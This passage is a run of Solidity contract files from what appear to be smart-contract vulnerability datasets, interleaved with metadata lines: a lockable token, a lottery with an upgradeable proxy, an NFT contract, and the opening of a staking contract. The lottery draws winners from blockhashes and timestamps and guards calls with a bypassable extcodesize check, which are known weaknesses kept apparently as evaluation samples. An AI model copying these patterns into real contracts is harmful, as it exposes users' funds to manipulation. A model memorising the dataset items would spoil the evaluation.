from, uint256 amount, uint256 lockID); constructor() ERC20("iNCN", "iNCN") { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); } function decimals() public view virtual override returns (uint8) { return 6; } //admin functions function pause() onlyRole(DEFAULT_ADMIN_ROLE) public { super._pause(); } function unpause() onlyRole(DEFAULT_ADMIN_ROLE) public { super._unpause(); } // Minter functions function mint(address _to, uint256 _amount) public override onlyRole(MINTER_ROLE) { _mint(_to, _amount); } // Minter functions function bulkMint(address[] memory _to, uint256[] memory _amount) public override onlyRole(MINTER_ROLE) { _bulkMint(_to, _amount); } function availableBalance(address _from) public view override returns(uint256) { return balanceOf(_from) - totalLockedAmount[_from]; } function lock(address _from, uint256 _amount) external override onlyRole(BURNER_ROLE) returns (uint256){ require(availableBalance(_from) >= _amount, "iNCN: Not enough available balance left"); lockData[_from].push(_amount); totalLockedAmount[_from] += _amount; emit Locked(_from, _amount, lockData[_from].length - 1); return lockData[_from].length - 1; //return index of the last lock element; } function unlock(address _from, uint256 _lockIndex) external override onlyRole(BURNER_ROLE){ require (lockData[_from].length > _lockIndex , "iNCN: Invalid _lockIndex"); require (lockData[_from][_lockIndex] > 0, "iNCN: Already unlocked"); uint256 unlockedAmount = lockData[_from][_lockIndex]; totalLockedAmount[_from] -= unlockedAmount; lockData[_from][_lockIndex] = 0; emit Unlocked(_from, unlockedAmount, _lockIndex); } function burn(address _from, uint256 _amount) external override onlyRole(BURNER_ROLE) { _burn(_from, _amount); } function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal override { super._beforeTokenTransfer(_from, _to, _amount); if(_from !=address(0)) require (availableBalance(_from) >= _amount, "iNCN: Not enough tokens available"); } function _beforeBulkTokenTransfer(address[] memory _from, address[] memory _to, uint256[] memory _amount) internal override { super._beforeBulkTokenTransfer(_from, _to, _amount); require(!paused(), "iNCN: token transfer while paused"); } }
296,681
12,085
8128473f71b0a02a54d9c608e9149b53fd90f0cafc7aa1f6ca000b67b7077ec4
23,931
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
sorted-evaluation-dataset/0.4/0xe01025a466d3faf937b23c6366f5509f0cea37d1.sol
4,499
17,840
pragma solidity ^0.4.24; library DataSet { enum RoundState { UNKNOWN, // aim to differ from normal states STARTED, // start current round STOPPED, // stop current round DRAWN, // draw winning number ASSIGNED // assign to foundation, winner } struct Round { uint256 count; // record total numbers sold already uint256 timestamp; // timestamp refer to first bet(round start) uint256 blockNumber; // block number refer to last bet uint256 drawBlockNumber; // block number refer to draw winning number RoundState state; // round state uint256 pond; // amount refer to current round uint256 winningNumber; // winning number address winner; // winner's address } } library NumberCompressor { uint256 constant private MASK = 16777215; // 2 ** 24 - 1 function encode(uint256 _begin, uint256 _end, uint256 _ceiling) internal pure returns (uint256) { require(_begin <= _end && _end < _ceiling, "number is invalid"); return _begin << 24 | _end; } function decode(uint256 _value) internal pure returns (uint256, uint256) { uint256 end = _value & MASK; uint256 begin = (_value >> 24) & MASK; return (begin, end); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } } contract Events { event onActivate (address indexed addr, uint256 timestamp, uint256 bonus, uint256 issued_numbers); event onDraw (uint256 timestatmp, uint256 blockNumber, uint256 roundID, uint256 winningNumber); event onStartRunnd (uint256 timestamp, uint256 roundID); event onBet (address indexed addr, uint256 timestamp, uint256 roundID, uint256 beginNumber, uint256 endNumber); event onAssign (address indexed operatorAddr, uint256 timestatmp, address indexed winnerAddr, uint256 roundID, uint256 pond, uint256 bonus, // assigned to winner uint256 fund // assigned to platform); event onRefund (address indexed operatorAddr, uint256 timestamp, address indexed playerAddr, uint256 count, uint256 amount); event onLastRefund (address indexed operatorAddr, uint256 timestamp, address indexed platformAddr, uint256 amout); } contract Winner is Events { using SafeMath for *; uint256 constant private MIN_BET = 0.01 ether; // min bet every time uint256 constant private PRICE = 0.01 ether; // 0.01 ether every number uint256 constant private MAX_DURATION = 30 days; // max duration every round uint256 constant private REFUND_RATE = 90; // refund rate to player(%) address constant private platform = 0xD51bD6EB7aA3661c9c5726403315F0B0f8d96C2e; // paltform's address uint256 private curRoundID; // current round uint256 private drawnRoundID; // already drawn round uint256 private drawnBlockNumber; // already drawn a round in block uint256 private bonus; // bonus assigned to the winner uint256 private issued_numbers; // total numbers every round bool private initialized; // game is initialized or not // (roundID => data) returns round data mapping (uint256 => DataSet.Round) private rounds; // (roundID => address => numbers) returns player's numbers in round mapping (uint256 => mapping(address => uint256[])) private playerNumbers; mapping (address => bool) private administrators; // default constructor constructor() public { } modifier isAdmin() { require(administrators[msg.sender], "only administrators"); _; } modifier isInitialized () { require(initialized == true, "game is inactive"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry, humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= MIN_BET, "the bet is too small"); require(_eth <= PRICE.mul(issued_numbers).mul(2), "the bet is too big"); _; } function() public payable isHuman() isInitialized() isWithinLimits(msg.value) { bet(msg.value); } function initiate(uint256 _bonus, uint256 _issued_numbers) public isHuman() { // can only be initialized once require(initialized == false, "it has been initialized already"); require(_bonus > 0, "bonus is invalid"); require(_issued_numbers > 0, "issued_numbers is invalid"); // initiate global parameters initialized = true; administrators[msg.sender] = true; bonus = _bonus; issued_numbers = _issued_numbers; emit onActivate(msg.sender, block.timestamp, bonus, issued_numbers); // start the first round game curRoundID = 1; rounds[curRoundID].state = DataSet.RoundState.STARTED; rounds[curRoundID].timestamp = block.timestamp; drawnRoundID = 0; emit onStartRunnd(block.timestamp, curRoundID); } function drawNumber() private view returns(uint256) { return uint256(keccak256(abi.encodePacked(((uint256(keccak256(abi.encodePacked(block.blockhash(block.number))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 1))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 2))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 3))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 4))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 5))))) / (block.timestamp)).add ((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 6))))) / (block.timestamp))))) % issued_numbers; } function bet(uint256 _amount) private { // 1. draw the winning number if it is necessary if (block.number != drawnBlockNumber && curRoundID > drawnRoundID && rounds[drawnRoundID + 1].count == issued_numbers && block.number >= rounds[drawnRoundID + 1].blockNumber + 7) { drawnBlockNumber = block.number; drawnRoundID += 1; rounds[drawnRoundID].winningNumber = drawNumber(); rounds[drawnRoundID].state = DataSet.RoundState.DRAWN; rounds[drawnRoundID].drawBlockNumber = drawnBlockNumber; emit onDraw(block.timestamp, drawnBlockNumber, drawnRoundID, rounds[drawnRoundID].winningNumber); } // 2. bet uint256 amount = _amount; while (true) { // in every round, one can buy min(max, available) numbers. uint256 max = issued_numbers - rounds[curRoundID].count; uint256 available = amount.div(PRICE).min(max); if (available == 0) { // on condition that the PRICE is 0.01 eth, if the player pays 0.056 eth for // a bet, then the player can exchange only five number, as 0.056/0.01 = 5, // and the rest 0.06 eth distributed to the pond of current round. if (amount != 0) { rounds[curRoundID].pond += amount; } break; } uint256[] storage numbers = playerNumbers[curRoundID][msg.sender]; uint256 begin = rounds[curRoundID].count; uint256 end = begin + available - 1; uint256 compressedNumber = NumberCompressor.encode(begin, end, issued_numbers); numbers.push(compressedNumber); rounds[curRoundID].pond += available.mul(PRICE); rounds[curRoundID].count += available; amount -= available.mul(PRICE); emit onBet(msg.sender, block.timestamp, curRoundID, begin, end); if (rounds[curRoundID].count == issued_numbers) { // end current round and start the next round rounds[curRoundID].blockNumber = block.number; rounds[curRoundID].state = DataSet.RoundState.STOPPED; curRoundID += 1; rounds[curRoundID].state = DataSet.RoundState.STARTED; rounds[curRoundID].timestamp = block.timestamp; emit onStartRunnd(block.timestamp, curRoundID); } } } function assign(uint256 _roundID) external isHuman() isInitialized() { assign2(msg.sender, _roundID); } function assign2(address _player, uint256 _roundID) public isHuman() isInitialized() { require(rounds[_roundID].state == DataSet.RoundState.DRAWN, "it's not time for assigning"); uint256[] memory numbers = playerNumbers[_roundID][_player]; require(numbers.length > 0, "player did not involve in"); uint256 targetNumber = rounds[_roundID].winningNumber; for (uint256 i = 0; i < numbers.length; i ++) { (uint256 start, uint256 end) = NumberCompressor.decode(numbers[i]); if (targetNumber >= start && targetNumber <= end) { // assgin bonus to player, and the rest of the pond to platform uint256 fund = rounds[_roundID].pond.sub(bonus); _player.transfer(bonus); platform.transfer(fund); rounds[_roundID].state = DataSet.RoundState.ASSIGNED; rounds[_roundID].winner = _player; emit onAssign(msg.sender, block.timestamp, _player, _roundID, rounds[_roundID].pond, bonus, fund); break; } } } function refund() external isHuman() isInitialized() { refund2(msg.sender); } function refund2(address _player) public isInitialized() isHuman() { require(block.timestamp.sub(rounds[curRoundID].timestamp) >= MAX_DURATION, "it's not time for refunding"); // 1. count numbers owned by the player uint256[] storage numbers = playerNumbers[curRoundID][_player]; require(numbers.length > 0, "player did not involve in"); uint256 count = 0; for (uint256 i = 0; i < numbers.length; i ++) { (uint256 begin, uint256 end) = NumberCompressor.decode(numbers[i]); count += (end - begin + 1); } // 2. refund 90% to the player uint256 amount = count.mul(PRICE).mul(REFUND_RATE).div(100); rounds[curRoundID].pond = rounds[curRoundID].pond.sub(amount); _player.transfer(amount); emit onRefund(msg.sender, block.timestamp, _player, count, amount); // 3. refund the rest(abount 10% of the pond) to the platform if the player is the last to refund rounds[curRoundID].count -= count; if (rounds[curRoundID].count == 0) { uint256 last = rounds[curRoundID].pond; platform.transfer(last); rounds[curRoundID].pond = 0; emit onLastRefund(msg.sender, block.timestamp, platform, last); } } function getPlayerRoundNumbers(uint256 _roundID, address _palyer) public view returns(uint256[]) { return playerNumbers[_roundID][_palyer]; } function getRoundInfo(uint256 _roundID) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, address) { return (rounds[_roundID].count, rounds[_roundID].blockNumber, rounds[_roundID].drawBlockNumber, uint256(rounds[_roundID].state), rounds[_roundID].pond, rounds[_roundID].winningNumber, rounds[_roundID].winner); } function gameInfo() public view returns(bool, uint256, uint256, uint256, uint256) { return (initialized, bonus, issued_numbers, curRoundID, drawnRoundID); } } contract Proxy { function implementation() public view returns (address); function () public payable { address _impl = implementation(); require(_impl != address(0), "address invalid"); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } contract UpgradeabilityProxy is Proxy { event Upgraded(address indexed implementation); // Storage position of the address of the current implementation bytes32 private constant implementationPosition = keccak256("you are the lucky man.proxy"); constructor() public {} function implementation() public view returns (address impl) { bytes32 position = implementationPosition; assembly { impl := sload(position) } } function setImplementation(address newImplementation) internal { bytes32 position = implementationPosition; assembly { sstore(position, newImplementation) } } function _upgradeTo(address newImplementation) internal { address currentImplementation = implementation(); require(currentImplementation != newImplementation, "new address is the same"); setImplementation(newImplementation); emit Upgraded(newImplementation); } } contract OwnedUpgradeabilityProxy is UpgradeabilityProxy { event ProxyOwnershipTransferred(address previousOwner, address newOwner); // Storage position of the owner of the contract bytes32 private constant proxyOwnerPosition = keccak256("you are the lucky man.proxy.owner"); constructor() public { setUpgradeabilityOwner(msg.sender); } modifier onlyProxyOwner() { require(msg.sender == proxyOwner(), "owner only"); _; } function proxyOwner() public view returns (address owner) { bytes32 position = proxyOwnerPosition; assembly { owner := sload(position) } } function setUpgradeabilityOwner(address newProxyOwner) internal { bytes32 position = proxyOwnerPosition; assembly { sstore(position, newProxyOwner) } } function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0), "address is invalid"); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } function upgradeTo(address implementation) public onlyProxyOwner { _upgradeTo(implementation); } function upgradeToAndCall(address implementation, bytes data) public payable onlyProxyOwner { upgradeTo(implementation); require(address(this).call.value(msg.value)(data), "data is invalid"); } }
222,753
12,086
b416afba54e1dea9830a5c7237d0a8c32b86d7bb29a1225be7144025738709fb
36,141
.sol
Solidity
false
519123139
JolyonJian/contracts
b48d691ba0c2bfb014a03e2b15bf7faa40900020
contracts/1533_61506_0xb932a70a57673d89f4acffbe830e8ed7f75fb9e0.sol
4,931
17,873
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface ISuperRare { function name() external pure returns (string _name); function symbol() external pure returns (string _symbol); function isWhitelisted(address _creator) external view returns (bool); function tokenURI(uint256 _tokenId) external view returns (string); function creatorOfToken(uint256 _tokenId) public view returns (address); function totalSupply() public view returns (uint256); } contract IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes data) public returns(bytes4); } contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function transferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId, bytes data) public; } contract IERC721Creator is IERC721 { function tokenCreator(uint256 _tokenId) public view returns (address); } contract IERC721Metadata is IERC721 { function name() external view returns (string); function symbol() external view returns (string); function tokenURI(uint256 tokenId) external view returns (string); } contract IERC721Enumerable is IERC721 { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } contract ERC165 is IERC165 { bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) private _supportedInterfaces; constructor() internal { _registerInterface(_InterfaceId_ERC165); } function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff); _supportedInterfaces[interfaceId] = true; } } contract ERC721 is ERC165, IERC721 { using SafeMath for uint256; using Address for address; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd; constructor() public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_InterfaceId_ERC721); } function balanceOf(address owner) public view returns (uint256) { require(owner != address(0)); return _ownedTokensCount[owner]; } function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0)); return owner; } function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } function setApprovalForAll(address to, bool approved) public { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); require(to != address(0)); _clearApproval(from, tokenId); _removeTokenFrom(from, tokenId); _addTokenTo(to, tokenId); emit Transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public { // solium-disable-next-line arg-overflow safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes _data) public { transferFrom(from, to, tokenId); // solium-disable-next-line arg-overflow require(_checkOnERC721Received(from, to, tokenId, _data)); } function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { address owner = ownerOf(tokenId); // Disable solium check because of // https://github.com/duaraghav8/Solium/issues/175 // solium-disable-next-line operator-whitespace return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _mint(address to, uint256 tokenId) internal { require(to != address(0)); _addTokenTo(to, tokenId); emit Transfer(address(0), to, tokenId); } function _burn(address owner, uint256 tokenId) internal { _clearApproval(owner, tokenId); _removeTokenFrom(owner, tokenId); emit Transfer(owner, address(0), tokenId); } function _addTokenTo(address to, uint256 tokenId) internal { require(_tokenOwner[tokenId] == address(0)); _tokenOwner[tokenId] = to; _ownedTokensCount[to] = _ownedTokensCount[to].add(1); } function _removeTokenFrom(address from, uint256 tokenId) internal { require(ownerOf(tokenId) == from); _ownedTokensCount[from] = _ownedTokensCount[from].sub(1); _tokenOwner[tokenId] = address(0); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } function _clearApproval(address owner, uint256 tokenId) private { require(ownerOf(tokenId) == owner); if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63; constructor() public { // register the supported interface to conform to ERC721 via ERC165 _registerInterface(_InterfaceId_ERC721Enumerable); } function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require(index < balanceOf(owner)); return _ownedTokens[owner][index]; } function totalSupply() public view returns (uint256) { return _allTokens.length; } function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply()); return _allTokens[index]; } function _addTokenTo(address to, uint256 tokenId) internal { super._addTokenTo(to, tokenId); uint256 length = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); _ownedTokensIndex[tokenId] = length; } function _removeTokenFrom(address from, uint256 tokenId) internal { super._removeTokenFrom(from, tokenId); // To prevent a gap in the array, we store the last token in the index of the token to delete, and // then delete the last slot. uint256 tokenIndex = _ownedTokensIndex[tokenId]; uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 lastToken = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastToken; // This also deletes the contents at the last position of the array _ownedTokens[from].length--; _ownedTokensIndex[tokenId] = 0; _ownedTokensIndex[lastToken] = tokenIndex; } function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Reorg all tokens array uint256 tokenIndex = _allTokensIndex[tokenId]; uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 lastToken = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastToken; _allTokens[lastTokenIndex] = 0; _allTokens.length--; _allTokensIndex[tokenId] = 0; _allTokensIndex[lastToken] = tokenIndex; } } contract ERC721Metadata is ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f; constructor(string name, string symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721Metadata); } function name() external view returns (string) { return _name; } function symbol() external view returns (string) { return _symbol; } function tokenURI(uint256 tokenId) external view returns (string) { require(_exists(tokenId)); return _tokenURIs[tokenId]; } function _setTokenURI(uint256 tokenId, string uri) internal { require(_exists(tokenId)); _tokenURIs[tokenId] = uri; } function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Whitelist is Ownable { // Mapping of address to boolean indicating whether the address is whitelisted mapping(address => bool) private whitelistMap; // flag controlling whether whitelist is enabled. bool private whitelistEnabled = true; event AddToWhitelist(address indexed _newAddress); event RemoveFromWhitelist(address indexed _removedAddress); function enableWhitelist(bool _enabled) public onlyOwner { whitelistEnabled = _enabled; } function addToWhitelist(address _newAddress) public onlyOwner { _whitelist(_newAddress); emit AddToWhitelist(_newAddress); } function removeFromWhitelist(address _removedAddress) public onlyOwner { _unWhitelist(_removedAddress); emit RemoveFromWhitelist(_removedAddress); } function isWhitelisted(address _address) public view returns (bool) { if (whitelistEnabled) { return whitelistMap[_address]; } else { return true; } } function _unWhitelist(address _removedAddress) internal { whitelistMap[_removedAddress] = false; } function _whitelist(address _newAddress) internal { whitelistMap[_newAddress] = true; } } contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata { constructor(string name, string symbol) ERC721Metadata(name, symbol) public { } } contract SuperRareV2 is ERC721Full, IERC721Creator, Ownable, Whitelist { using SafeMath for uint256; // Mapping from token ID to the creator's address. mapping(uint256 => address) private tokenCreators; // Counter for creating token IDs uint256 private idCounter; // Old SuperRare contract to look up token details. ISuperRare private oldSuperRare; // Event indicating metadata was updated. event TokenURIUpdated(uint256 indexed _tokenId, string _uri); constructor(string _name, string _symbol, address _oldSuperRare) ERC721Full(_name, _symbol) { // Get reference to old SR contract. oldSuperRare = ISuperRare(_oldSuperRare); uint256 oldSupply = oldSuperRare.totalSupply(); // Set id counter to be continuous with SuperRare. idCounter = oldSupply + 1; } function initWhitelist(address[] _whitelistees) public onlyOwner { // Add all whitelistees. for (uint256 i = 0; i < _whitelistees.length; i++) { address creator = _whitelistees[i]; if (!isWhitelisted(creator)) { _whitelist(creator); } } } modifier onlyTokenOwner(uint256 _tokenId) { address owner = ownerOf(_tokenId); require(owner == msg.sender, "must be the owner of the token"); _; } modifier onlyTokenCreator(uint256 _tokenId) { address creator = tokenCreator(_tokenId); require(creator == msg.sender, "must be the creator of the token"); _; } function addNewToken(string _uri) public { require(isWhitelisted(msg.sender), "must be whitelisted to create tokens"); _createToken(_uri, msg.sender); } function deleteToken(uint256 _tokenId) public onlyTokenOwner(_tokenId) { _burn(msg.sender, _tokenId); } function updateTokenMetadata(uint256 _tokenId, string _uri) public onlyTokenOwner(_tokenId) onlyTokenCreator(_tokenId) { _setTokenURI(_tokenId, _uri); emit TokenURIUpdated(_tokenId, _uri); } function tokenCreator(uint256 _tokenId) public view returns (address) { return tokenCreators[_tokenId]; } function _setTokenCreator(uint256 _tokenId, address _creator) internal { tokenCreators[_tokenId] = _creator; } function _createToken(string _uri, address _creator) internal returns (uint256) { uint256 newId = idCounter; idCounter++; _mint(_creator, newId); _setTokenURI(newId, _uri); _setTokenCreator(newId, _creator); return newId; } }
230,769
12,087
d8bbabd4205690904a62d93e5e5a4e8d408d047ae37cd835e6d6c361f345175c
14,727
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/21/218283477D7DbA19358C3cCCcF3afe1BBf8e227C_StakingManager.sol
3,514
13,926
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.7.5; interface IOwnable { function policy() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function policy() public view override returns (address) { return _owner; } modifier onlyPolicy() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyPolicy() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyPolicy() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { 